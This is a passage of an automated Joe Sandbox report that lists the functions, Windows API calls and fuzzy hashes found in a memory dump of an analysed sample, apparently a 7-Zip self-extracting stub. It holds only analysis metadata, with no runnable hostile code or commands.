Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: FindCloseChangeNotification.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ChangeCloseCreateFileFindNotification
String ID:
API String ID: 727422849-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 0041229A Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00412276

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004013A4

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004015F7

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00412927

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004035D4

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
Opcode Fuzzy Hash: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E

Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00412245

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
lstrcmpiW.KERNEL32(009D9240,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT ref: 00402551
??3@YAXPAX@Z.MSVCRT ref: 0040256F
SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT(?), ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,009D9240,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

